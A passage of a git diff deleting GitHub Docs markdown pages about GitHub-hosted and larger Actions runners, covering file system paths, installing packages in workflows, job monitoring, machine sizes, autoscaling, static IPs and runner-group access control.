additional networks that you specify or utilize within an action. - -To ensure proper communications for {% data variables.product.github %}-hosted runners between networks within your configuration, ensure that the following communications are allowed. - -{% data reusables.actions.domain-name-cname-recursive-firewall-rules %} - -{% data reusables.actions.runner-essential-communications %} - -## The `etc/hosts` file - -{% data reusables.actions.runners-etc-hosts-file %} - -## File systems - -{% data variables.product.prodname_dotcom %} executes actions and shell commands in specific directories on the virtual machine. The file paths on virtual machines are not static. Use the environment variables {% data variables.product.prodname_dotcom %} provides to construct file paths for the `home`, `workspace`, and `workflow` directories. - -| Directory | Environment variable | Description | -|-----------|----------------------|-------------| -| `home` | `HOME` | Contains user-related data. For example, this directory could contain credentials from a login attempt. | -| `workspace` | `GITHUB_WORKSPACE` | Actions and shell commands execute in this directory. An action can modify the contents of this directory, which subsequent actions can access. | -| `workflow/event.json` | `GITHUB_EVENT_PATH` | The `POST` payload of the webhook event that triggered the workflow. {% data variables.product.prodname_dotcom %} rewrites this each time an action executes to isolate file content between actions. - -For a list of the environment variables {% data variables.product.prodname_dotcom %} creates for each workflow, see [AUTOTITLE](/actions/learn-github-actions/variables#default-environment-variables). - -### Docker container filesystem - -Actions that run in Docker containers have static directories under the `/github` path. However, we strongly recommend using the default environment variables to construct file paths in Docker containers. - -{% data variables.product.prodname_dotcom %} reserves the `/github` path prefix and creates three directories for actions. - -* `/github/home` -* `/github/workspace` - {% data reusables.repositories.action-root-user-required %} -* `/github/workflow` - -## Further reading - -* [AUTOTITLE](/billing/managing-billing-for-github-actions) -* You can use a matrix strategy to run your jobs on multiple images. For more information, see [AUTOTITLE](/actions/using-jobs/using-a-matrix-for-your-jobs). - -{% endif %} diff --git a/content/actions/using-github-hosted-runners/using-github-hosted-runners/customizing-github-hosted-runners.md b/content/actions/using-github-hosted-runners/using-github-hosted-runners/customizing-github-hosted-runners.md deleted file mode 100644 index 4e2177392b02..000000000000 --- a/content/actions/using-github-hosted-runners/using-github-hosted-runners/customizing-github-hosted-runners.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: Customizing GitHub-hosted runners -intro: You can install additional software on GitHub-hosted runners as a part of your workflow. -versions: - fpt: '*' - ghec: '*' -type: tutorial -topics: - - Workflows -shortTitle: Customize runners -redirect_from: - - /actions/using-github-hosted-runners/customizing-github-hosted-runners - - /actions/using-github-hosted-runners/about-github-hosted-runners/customizing-github-hosted-runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -If you require additional software packages on {% data variables.product.prodname_dotcom %}-hosted runners, you can create a job that installs the packages as part of your workflow. - -To see which packages are already installed by default, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#preinstalled-software). - -This guide demonstrates how to create a job that installs additional software on a {% data variables.product.prodname_dotcom %}-hosted runner. - -## Installing software on Ubuntu runners - -The following example demonstrates how to install an `apt` package as part of a job. - -```yaml -name: Build on Ubuntu -on: push - -jobs: - build: - runs-on: ubuntu-latest - steps: - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - name: Install jq tool - run: | - sudo apt-get update - sudo apt-get install jq -``` - -> [!NOTE] -> Always run `sudo apt-get update` before installing a package. In case the `apt` index is stale, this command fetches and re-indexes any available packages, which helps prevent package installation failures. - -## Installing software on macOS runners - -The following example demonstrates how to install Brew packages and casks as part of a job. - -```yaml -name: Build on macOS -on: push - -jobs: - build: - runs-on: macos-latest - steps: - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - name: Install GitHub CLI - run: | - brew update - brew install gh - - name: Install Microsoft Edge - run: | - brew update - brew install --cask microsoft-edge -``` - -## Installing software on Windows runners - -The following example demonstrates how to use [Chocolatey](https://community.chocolatey.org/packages) to install the {% data variables.product.prodname_dotcom %} CLI as part of a job. - -{% raw %} - -```yaml -name: Build on Windows -on: push -jobs: - build: - runs-on: windows-latest - steps: - - run: choco install gh - - run: gh version -``` - -{% endraw %} diff --git a/content/actions/using-github-hosted-runners/using-github-hosted-runners/index.md b/content/actions/using-github-hosted-runners/using-github-hosted-runners/index.md deleted file mode 100644 index a942973b450d..000000000000 --- a/content/actions/using-github-hosted-runners/using-github-hosted-runners/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Using GitHub-hosted runners -shortTitle: About GitHub-hosted runners -intro: '{% data variables.product.prodname_dotcom %} offers hosted virtual machines to run workflows. The virtual machine contains an environment of tools, packages, and settings available for {% data variables.product.prodname_actions %} to use.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -children: - - /about-github-hosted-runners - - /monitoring-your-current-jobs - - /customizing-github-hosted-runners -redirect_from: - - /actions/using-github-hosted-runners/about-github-hosted-runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/using-github-hosted-runners/using-github-hosted-runners/monitoring-your-current-jobs.md b/content/actions/using-github-hosted-runners/using-github-hosted-runners/monitoring-your-current-jobs.md deleted file mode 100644 index c2faf9d7b023..000000000000 --- a/content/actions/using-github-hosted-runners/using-github-hosted-runners/monitoring-your-current-jobs.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Monitoring your current jobs -shortTitle: Monitor current jobs -intro: 'Monitor how {% data variables.product.prodname_dotcom %}-hosted runners are processing jobs in your organization or enterprise, and identify any related constraints.' -versions: - feature: github-runner-dashboard -redirect_from: - - /actions/using-github-hosted-runners/monitoring-your-current-jobs - - /actions/using-github-hosted-runners/about-github-hosted-runners/monitoring-your-current-jobs ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Viewing active jobs in your organization or enterprise - -You can get a list of all jobs currently running on {% data variables.product.prodname_dotcom %}-hosted runners in your organization or enterprise. - -{% data reusables.actions.github-hosted-runners-navigate-to-repo-org-enterprise %} -{% data reusables.actions.github-hosted-runners-table-entry %} -1. Review the "Active jobs" section, which contains a list of all jobs currently running on {% data variables.product.prodname_dotcom %}-hosted runners. - -## Viewing queued jobs in your organization or enterprise - -{% data variables.product.prodname_dotcom %}-hosted runners allow you to run jobs concurrently, and the maximum number of concurrent jobs will vary depending on your plan. If you reach the maximum number of concurrent jobs, any new jobs will start to enter a queue. To find out more about the number of concurrent jobs available to your plan, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration). - -The following procedure demonstrates how to check the maximum number of concurrent jobs you can run. - -{% data reusables.actions.github-hosted-runners-navigate-to-repo-org-enterprise %} -{% data reusables.actions.github-hosted-runners-table-entry %} -1. Review the "All jobs usage" section, which lists the number of active jobs and the maximum number of jobs you can run. diff --git a/content/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners.md b/content/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners.md deleted file mode 100644 index 7a40bf7f7c98..000000000000 --- a/content/actions/using-github-hosted-runners/using-larger-runners/about-larger-runners.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: About larger runners -shortTitle: About larger runners -intro: '{% data variables.product.prodname_dotcom %} offers runners with advanced features to support more customized use cases.' -permissions: '{% data reusables.actions.larger-runner-permissions %}' -versions: - feature: actions-hosted-runners -redirect_from: - - /actions/using-github-hosted-runners/about-larger-runners/about-larger-runners ---- - -## Overview of {% data variables.actions.hosted_runners %} - -{% data reusables.actions.about-larger-runners %} - -{% data variables.product.prodname_dotcom %} offers {% data variables.actions.hosted_runners %} with macOS, Ubuntu, or Windows operating systems, and different features and sizes are available depending on which operating system you use. For more information, see [Additional features for {% data variables.actions.hosted_runners %}](#additional-features-for-larger-runners). - -### About Ubuntu and Windows {% data variables.actions.hosted_runners %} - -{% data variables.actions.hosted_runner_caps %}s with Ubuntu or Windows operating systems are configured in your organization or enterprise. When you add a {% data variables.actions.hosted_runner %}, you are defining a type of machine from a selection of available hardware specifications and operating system images. {% data variables.product.prodname_dotcom %} will then create multiple instances of this runner that scale up and down to match the job demands of your organization, based on the autoscaling limits you define. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/managing-larger-runners). - -Ubuntu and Windows {% data variables.actions.hosted_runners %} offer autoscaling capabilities and the ability to assign the runners static IP addresses from a specific range. They can also be managed using runner groups, which enables you to control access to the {% data variables.actions.hosted_runners %}. For more information, see [Additional features for {% data variables.actions.hosted_runners %}](#additional-features-for-larger-runners). - -### About macOS {% data variables.actions.hosted_runners %} - - {% data variables.actions.hosted_runner_caps %}s with a macOS operating system are used by updating the YAML workflow label to the desired runner image. To run your workflows on a macOS {% data variables.actions.hosted_runner %}, update the `runs-on` key to use one of the {% data variables.product.company_short %}-defined macOS {% data variables.actions.hosted_runner %} labels. No additional configuration is required. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/running-jobs-on-larger-runners?platform=mac). - -The following machines sizes are available for macOS {% data variables.actions.hosted_runners %}. - -{% data reusables.actions.larger-runners-table %} - -#### Limitations for macOS {% data variables.actions.hosted_runners %} - -{% data reusables.actions.macos-runner-limitations %} - -### Additional features for {% data variables.actions.hosted_runners %} - -Compared to standard {% data variables.product.prodname_dotcom %}-hosted runners, {% data variables.actions.hosted_runners %} have additional features, and their availability varies depending on the {% data variables.actions.hosted_runner %}'s operating system. - -{% rowheaders %} - -| | Ubuntu | Windows | macOS | -| ------------------- | ------ | ------- | ----- | -| Static IP addresses | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -| Azure private networking | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -| Autoscaling | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | -| Runner groups | {% octicon "check" aria-label="Supported" %} | {% octicon "check" aria-label="Supported" %} | {% octicon "x" aria-label="Not supported" %} | - -{% endrowheaders %} - -These features can enhance your CI/CD pipelines in the following ways. - -* Assigning {% data variables.actions.hosted_runners %} static IP addresses from a specific range enables you to use this range to configure a firewall allowlist. For more information, see [Networking for {% data variables.actions.hosted_runners %}](#networking-for-larger-runners). -* Autoscaling enables {% data variables.actions.hosted_runners %} to scale up to a maximum limit set by you, so your workflows can run concurrently. For more information, see [Autoscaling {% data variables.actions.hosted_runners %}](#autoscaling-larger-runners). -* Runner groups allow you to control access to {% data variables.actions.hosted_runners %} for your organizations, repositories, and workflows. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners). - -### Runner images - -{% data variables.actions.hosted_runner_caps %}s run on virtual machines (VMs), and {% data variables.product.prodname_dotcom %} installs a virtual hard disk (VHD) on this machine during the VM creation process. You can choose from different VM images to install on your runners. - -**{% data variables.product.prodname_dotcom %}-owned images:** These images are maintained by {% data variables.product.prodname_dotcom %} and are available for Linux x64, Windows x64, and macOS (x64 and arm) runners. For more information on these images and a full list of included tools for each runner operating system, see the [{% data variables.product.prodname_actions %} Runner Images](https://github.com/actions/runner-images) repository. - -**Partner Images:** Partner images are not managed by {% data variables.product.prodname_dotcom %} and are pulled from the Azure Marketplace. For more information about the Windows 11 desktop image see [Microsoft Windows 11 Desktop](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/microsoftwindowsdesktop.windows-11?tab=Overview). For more information about the GPU runner compatible images, see [NVIDIA GPU-Optimized VMI](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/nvidia.ngc_azure_17_11) and [Data Science Virtual Machine - Windows 2019](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/microsoft-dsvm.dsvm-win-2019?tab=overview). For more information about the images for ARM-powered runners, see the [`actions/partner-runner-images` repository](https://github.com/actions/partner-runner-images). This is also the place to provide feedback or report issues about third-party images. - -### Understanding billing - -> [!NOTE] -> {% data variables.actions.hosted_runner_caps %}s are not eligible for the use of included minutes on private repositories. For both private and public repositories, when {% data variables.actions.hosted_runners %} are in use, they will always be billed at the per-minute rate. - -Compared to standard {% data variables.product.prodname_dotcom %}-hosted runners, {% data variables.actions.hosted_runners %} are billed differently. {% data reusables.actions.about-larger-runners-billing %} For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates). - -## Machine sizes for {% data variables.actions.hosted_runners %} - -You can choose from several specifications for {% data variables.actions.hosted_runners %}. - -### Specifications for general {% data variables.actions.hosted_runners %} - -| CPU | Memory (RAM) | Storage (SSD) | Architecture | Operating system (OS) | -| --- | ------------- | ------------- | ------------ | --------------------- | -| 6 | 14 GB | 14 GB | arm64 | macOS | -| 12 | 30 GB | 14 GB | x64 | macOS | -| 2 | 8 GB | 75 GB | x64, arm64 | Ubuntu | -| 4 | 16 GB | 150 GB | x64, arm64 | Ubuntu, Windows | -| 8 | 32 GB | 300 GB | x64, arm64 | Ubuntu, Windows | -| 16 | 64 GB | 600 GB | x64, arm64 | Ubuntu, Windows | -| 32 | 128 GB | 1200 GB | x64, arm64 | Ubuntu, Windows | -| 64 | 208 GB | 2040 GB | arm64 | Ubuntu, Windows | -| 64 | 256 GB | 2040 GB | x64 | Ubuntu, Windows | - ->[!NOTE] The 4-vCPU Windows runner only works with the Windows Server 2025 or Windows 11 Desktop image. - -### Specifications for GPU {% data variables.actions.hosted_runners %} - -| CPU | GPU | GPU card | Memory (RAM) | GPU memory (VRAM) | Storage (SSD) | Operating system (OS) | -| --- | --- | -------- | ------------ | ----------------- | ------------- | --------------------- | -| 4 | 1 | Tesla T4 | 28 GB | 16 GB | 176 GB | Ubuntu, Windows | - -## About runner groups - -> [!NOTE] -> Only {% data variables.actions.hosted_runners %} with Linux or Windows operating systems can be assigned to runner groups. - -Runner groups enable administrators to control access to runners at the organization and enterprise levels. With runner groups, you can collect sets of runners and create a security boundary around them. You can then decide which organizations or repositories are permitted to run jobs on those sets of machines. During the {% data variables.actions.hosted_runner %} deployment process, the runner can be added to an existing group, otherwise it will join a default group. You can create a group by following the steps in [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners). - -## Architectural overview of {% data variables.actions.hosted_runners %} - -> [!NOTE] -> This architecture diagram only applies to {% data variables.actions.hosted_runners %} with Linux or Windows operating systems. - -{% data variables.actions.hosted_runner_caps %}s are managed at the organization level, where they are arranged into groups that can contain multiple instances of the runner. They can also be created at the enterprise level and shared with organizations in the hierarchy. Once you've created a group, you can then add a runner to the group and update your workflows to target either the group name or the label assigned to the {% data variables.actions.hosted_runner %}. You can also control which repositories are permitted to send jobs to the group for processing. For more information about groups, see [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners). - -In the following diagram, a class of hosted runner named `ubuntu-20.04-16core` has been defined with customized hardware and operating system configuration. - -![Diagram showing a larger runner being used by a workflow because of the runner's label.](/assets/images/help/actions/hosted-runner.png) - -1. Instances of this runner are automatically created and added to a group called `grp-ubuntu-20.04-16core`. -1. The runners have been assigned the label `ubuntu-20.04-16core`. -1. Workflow jobs use the `ubuntu-20.04-16core` label in their `runs-on` key to indicate the type of runner they need to execute the job. -1. {% data variables.product.prodname_actions %} checks the runner group to see if your repository is authorized to send jobs to the runner. -1. The job runs on the next available instance of the `ubuntu-20.04-16core` runner. - -## Autoscaling {% data variables.actions.hosted_runners %} - -> [!NOTE] -> Autoscaling is only available for {% data variables.actions.hosted_runners %} with Linux or Windows operating systems. - -{% data variables.actions.hosted_runner_caps %}s can automatically scale to suit your needs. You can provision machines to run a specified maximum number of jobs when jobs are submitted for processing. Each machine only handles one job at a time, so these settings effectively determine the number of jobs that can be run concurrently. - -You can configure the maximum job concurrency, which allows you to control your costs by setting the maximum parallel number of jobs that can be run using this set. A higher value here can help avoid workflows being blocked due to parallelism. For more information on how to set limits, see [AUTOTITLE](/actions/using-github-hosted-runners/managing-larger-runners#configuring-autoscaling-for-larger-runners). For more information on the maximum auto-scaling limits for {% data variables.product.company_short %}-hosted runners, see [AUTOTITLE](/actions/learn-github-actions/usage-limits-billing-and-administration#usage-limits). - -## Assigning static IP addresses to {% data variables.actions.hosted_runners %} - -You can assign static IP addresses only to {% data variables.actions.hosted_runners %} that use Linux or Windows operating systems. - -Static IP addresses assigned are all usable and are not in CIDR notation. - -{% data reusables.actions.static-ip-limitation-vnet %} For more information about private networking for {% data variables.product.company_short %}-hosted runners, see [AUTOTITLE](/admin/configuration/configuring-private-networking-for-hosted-compute-products/about-azure-private-networking-for-github-hosted-runners-in-your-enterprise). - -## Networking for {% data variables.actions.hosted_runners %} - -By default, {% data variables.actions.hosted_runners %} receive a dynamic IP address that changes for each job run. Optionally, {% data variables.product.prodname_ghe_cloud %} customers can configure their {% data variables.actions.hosted_runners %} to receive static IP addresses from {% data variables.product.prodname_dotcom %}'s IP address pool. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses). - -When enabled, instances of the {% data variables.actions.hosted_runner %} will receive IP addresses from specific ranges that are unique to the runner, allowing you to use the ranges to configure a firewall allowlist. {% ifversion fpt %}You can use up to 10 {% data variables.actions.hosted_runners %} with static IP address ranges in total across all your {% data variables.actions.hosted_runners %}{% endif %}{% ifversion ghec %}You can use up to 10 {% data variables.actions.hosted_runners %} with static IP address ranges for the {% data variables.actions.hosted_runners %} created at the enterprise level. In addition, you can use up to 10 {% data variables.actions.hosted_runners %} with static IP address ranges for the {% data variables.actions.hosted_runners %} created at the organization level, for each organization in your enterprise{% endif %}. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/managing-larger-runners#networking-for-larger-runners). - -{% data reusables.actions.larger-runner-static-ip-contact-support %} - -> [!NOTE] -> If runners are unused for more than 30 days, their IP address ranges are automatically removed and cannot be recovered. diff --git a/content/actions/using-github-hosted-runners/using-larger-runners/controlling-access-to-larger-runners.md b/content/actions/using-github-hosted-runners/using-larger-runners/controlling-access-to-larger-runners.md deleted file mode 100644 index 8b79cbde320d..000000000000 --- a/content/actions/using-github-hosted-runners/using-larger-runners/controlling-access-to-larger-runners.md +++ /dev/null @@ -1,178 +0,0 @@ ---- -title: Controlling access to larger runners -shortTitle: 'Control access to {% data variables.actions.hosted_runner %}s' -intro: 'You can use policies to limit access to {% data variables.actions.hosted_runner %}s that have been added to an organization or enterprise.' -permissions: '{% data reusables.actions.larger-runner-permissions %}' -versions: - feature: actions-hosted-runners -type: tutorial -redirect_from: - - /actions/using-github-hosted-runners/controlling-access-to-larger-runners - - /actions/using-github-hosted-runners/about-larger-runners/controlling-access-to-larger-runners ---- - -> [!NOTE] -> {% data reusables.actions.windows-linux-larger-runners-note %} - -## About runner groups - -{% data reusables.actions.about-runner-groups %} - -### Managing access to your runners - -> [!NOTE] -> Before your workflows can send jobs to {% data variables.actions.hosted_runner %}s, you must first configure permissions for the runner group. See the following sections for more information. - -Runner groups are used to control which repositories can run jobs on your {% data variables.actions.hosted_runner %}s. You must manage access to the group from each level of the management hierarchy, depending on where you've defined the {% data variables.actions.hosted_runner %}: - -* **Runners at the enterprise level:** {% data reusables.actions.about-enterprise-level-runner-groups %} -* **Runners at the organization level:** {% data reusables.actions.about-organization-level-runner-groups %} - -For example, the following diagram has a runner group named `grp-ubuntu-20.04-16core` at the enterprise level. Before the repository named `octo-repo` can use the runners in the group, you must first configure the group at the enterprise level to allow access to the `octo-org` organization. You must then configure the group at the organization level to allow access to `octo-repo`. - -![Diagram showing a runner group defined at the enterprise level with an organization configuration that allows access for two repositories.](/assets/images/help/actions/hosted-runner-mgmt.png) - -## Creating a runner group for an organization - -{% data reusables.actions.hosted-runner-security-admonition %} -{% data reusables.actions.creating-a-runner-group-for-an-organization %} - -{% ifversion ghec or ghes %} - -## Creating a runner group for an enterprise - -{% data reusables.actions.hosted-runner-security-admonition %} -{% data reusables.actions.creating-a-runner-group-for-an-enterprise %} - -{% endif %} - -{% data reusables.actions.section-using-unique-names-for-runner-groups %} - -{% ifversion ghec %} - -## Changing which organizations can access a runner group - -{% data reusables.actions.hosted-runner-security-admonition %} - -For runner groups in an enterprise, you can change what organizations in the enterprise can access a runner group. - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.changing-organization-access-for-a-runner-group %} - -{% endif %} - -## Changing which repositories can access a runner group - -{% data reusables.actions.hosted-runner-security-admonition %} - -For runner groups in an organization, you can change what repositories in the organization can access a runner group. - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.changing-repository-access-for-a-runner-group %} - -{% ifversion ghec %} - -## Changing which workflows can access a runner group - -{% data reusables.actions.hosted-runner-security-admonition %} - -{% data reusables.actions.about-restricting-workflow-access-with-runner-groups %} - -* [Changing which workflows can access an organization runner group](#changing-which-workflows-can-access-an-organization-runner-group) -* [Changing which workflows can access an enterprise runner group](#changing-which-workflows-can-access-an-enterprise-runner-group) - -### Changing which workflows can access an organization runner group - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.changing-workflow-access-for-a-runner-group %} - -### Changing which workflows can access an enterprise runner group - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.changing-workflow-access-for-a-runner-group %} - -{% endif %} - -{% ifversion actions-private-networking-azure-vnet %} - -## Configuring private network access for larger runners - -{% data reusables.actions.azure-vnet-network-configuration-intro %} - -If you have configured your {% ifversion ghec %}enterprise or {% endif %}organization to connect to an Azure VNET, you can give runner groups access to the virtual network. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/connecting-to-a-private-network/about-private-networking-with-github-hosted-runners#using-an-azure-virtual-network-vnet). - -{% endif %} - -## Changing the name of a runner group - -{% ifversion ghec %} -You can rename runner groups at the enterprise and organization levels. - -* [Changing the name of an organization runner group](#changing-the-name-of-an-organization-runner-group) -* [Changing the name of an enterprise runner group](#changing-the-name-of-an-enterprise-runner-group) - -### Changing the name of an organization runner group - -{% endif %} - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.changing-the-name-of-a-runner-group %} - -{% ifversion ghec %} - -### Changing the name of an enterprise runner group - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.changing-the-name-of-a-runner-group %} -{% endif %} - -## Moving a runner to a group - -{% data reusables.actions.about-moving-a-runner-to-a-group %} -{% ifversion ghec %} - -* [Moving an organization runner to a group](#moving-an-organization-runner-to-a-group) -* [Moving an enterprise runner to a group](#moving-an-enterprise-runner-to-a-group) - -### Moving an organization runner to a group - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.moving-a-runner-to-a-group %} - -{% ifversion ghec %} - -### Moving an enterprise runner to a group - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.moving-a-runner-to-a-group %} -{% endif %} - -## Removing a runner group - -{% data reusables.actions.about-removing-a-runner-group %} -{% ifversion ghec %} - -* [Removing a runner group from an organization](#removing-a-runner-group-from-an-organization) -* [Removing a runner group from an enterprise](#removing-a-runner-group-from-an-enterprise) - -### Removing a runner group from an organization - -{% endif %} - -{% data reusables.actions.runner-groups-org-navigation %} -{% data reusables.actions.removing-a-runner-group %} - -{% ifversion ghec %} - -### Removing a runner group from an enterprise - -{% data reusables.actions.runner-groups-enterprise-navigation %} -{% data reusables.actions.removing-a-runner-group %} -{% endif %} diff --git a/content/actions/using-github-hosted-runners/using-larger-runners/index.md b/content/actions/using-github-hosted-runners/using-larger-runners/index.md deleted file mode 100644 index ab71c5e1f40f..000000000000 --- a/content/actions/using-github-hosted-runners/using-larger-runners/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Using larger runners -shortTitle: Using larger runners -intro: '{% data variables.product.prodname_dotcom %} offers runners with more RAM, CPU, and disk space.' -versions: - feature: actions-hosted-runners -children: - - /about-larger-runners - - /managing-larger-runners - - /controlling-access-to-larger-runners - - /running-jobs-on-larger-runners -redirect_from: - - /actions/using-github-hosted-runners/about-larger-runners ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/content/actions/using-github-hosted-runners/using-larger-runners/managing-larger-runners.md b/content/actions/using-github-hosted-runners/using-larger-runners/managing-larger-runners.md deleted file mode 100644 index d844914d9bfb..000000000000 --- a/content/actions/using-github-hosted-runners/using-larger-runners/managing-larger-runners.md +++ /dev/null @@ -1,220 +0,0 @@ ---- -title: Managing larger runners -shortTitle: Manage larger runners -intro: 'You can configure {% data variables.actions.hosted_runner %}s for your organization or enterprise.' -permissions: '{% data reusables.actions.larger-runner-permissions %}<br><br> Enterprise or organization owners can manage larger runners.{% ifversion custom-org-roles %} Users with the "Manage organization runners and runner groups" permission can manage larger runners at the organization level.{% endif %}' -versions: - feature: actions-hosted-runners -redirect_from: - - /actions/using-github-hosted-runners/managing-larger-runners - - /actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners ---- - -> [!NOTE] -> * {% data reusables.actions.windows-linux-larger-runners-note %} - -{% ifversion ghec %} - -## Adding a {% data variables.actions.hosted_runner %} to an enterprise - -Enterprise owners can add {% data variables.actions.hosted_runner %}s to an enterprise and assign them to organizations. By default, when a {% data variables.actions.hosted_runner %} is created for an enterprise, it is added to a default runner group that all organizations in the enterprise have access to. While all organizations are granted access to the runner, the repositories in each organization **are not** granted access. For each organization, an organization owner must configure the runner group to specify which repositories have access to the enterprise runner. For more information, see [Allowing repositories to access {% data variables.actions.hosted_runner %}s](#allowing-repositories-to-access-larger-runners). - -{% data reusables.actions.add-hosted-runner-overview %} - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.add-hosted-runner %} -{% data reusables.actions.org-access-to-github-hosted-runners %} - -{% endif %} - -## Adding a {% data variables.actions.hosted_runner %} to an organization - -Organization owners{% ifversion custom-org-roles %} and users with the "Manage organization runners and runner groups" permission{% endif %} can add a {% data variables.actions.hosted_runner %} to an organization control which repositories can use it. When you create a new runner for an organization, by default, all repositories in the organization have access to the runner. To limit which repositories can use the runner, assign it to a runner group with access to specific repositories. For more information, see [Allowing repositories to access larger runners](#allowing-repositories-to-access-larger-runners). - -{% data reusables.actions.add-hosted-runner-overview %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.add-hosted-runner %} -1. To allow repositories to access your {% data variables.actions.hosted_runner %}s, add them to the list of repositories that can use it. For more information, see [Allowing repositories to access {% data variables.actions.hosted_runner %}s](#allowing-repositories-to-access-larger-runners). - -## Allowing repositories to access {% data variables.actions.hosted_runner %}s - -Repositories are granted access to {% data variables.actions.hosted_runner %}s through runner groups. Enterprise administrators can choose which organizations are granted access to enterprise-level runner groups, and organization owners{% ifversion custom-org-roles %} and users with the "Manage organization runners and runner groups" permission{% endif %} control repository-level access to all {% data variables.actions.hosted_runner %}s. - -Organization owners can use and configure enterprise-level runner groups for the repositories in their organization, or they can create organization-level runner groups to control access.{% ifversion custom-org-roles %} Users with the "Manage organization runners and runner groups" can only manage organization-level runner groups. For more information, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/about-custom-organization-roles).{% endif %} - -* **For enterprise-level runner groups:** {% data reusables.actions.about-enterprise-level-runner-groups %} -* **For organization-level runner groups:** {% data reusables.actions.about-organization-level-runner-groups %} - -Once a repository has access to {% data variables.actions.hosted_runner %}s, the {% data variables.actions.hosted_runner %}s can be added to workflow files. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/running-jobs-on-larger-runners). - -{% data reusables.actions.runner-groups-org-navigation %} -1. Select a runner group from either list on the page. Organization-level runner groups are listed at the top of the page, and enterprise-level runner groups are listed under "Shared by the Enterprise." -1. On the runner group page, under "Repository access," select **All repositories** or **Selected repositories**. If you choose to grant access to specific repositories, click {% octicon "gear" aria-label="The Settings gear" %}, then select the repositories you would like to grant access to from the list. - -> [!WARNING] -> {% data reusables.actions.hosted-runner-security %} -> For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/controlling-access-to-larger-runners). - -## Changing the name of a {% data variables.actions.hosted_runner %} - -{% data reusables.actions.larger-runner-name-note %} - -{% ifversion ghec %} -You can edit the name of your {% data variables.actions.hosted_runner %}s. - -* [Changing the name of an organization runner](#changing-the-name-of-an-organization-runner) -* [Changing the name of an enterprise runner](#changing-the-name-of-an-enterprise-runner) - -### Changing the name of an organization runner - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.rename-larger-runner %} - -{% ifversion ghec %} - -### Changing the name of an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.rename-larger-runner %} -{% endif %} - -## Changing the size of a {% data variables.actions.hosted_runner %} - -{% ifversion ghec %} -You can edit the size of your {% data variables.actions.hosted_runner %}s. - -* [Changing the size of an organization runner](#changing-the-size-of-an-organization-runner) -* [Changing the size of an enterprise runner](#changing-the-size-of-an-enterprise-runner) - -### Changing the size of an organization runner - -{% endif %} - -{% data reusables.organizations.navigate-to-org %} -{% data reusables.organizations.org_settings %} -{% data reusables.organizations.settings-sidebar-actions-runners %} -{% data reusables.actions.select-a-larger-runner %} -{% data reusables.actions.resize-larger-runner %} - -{% ifversion ghec %} - -### Changing the size of an enterprise runner - -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.actions-tab %} -{% data reusables.enterprise-accounts.actions-runners-tab %} -{% data 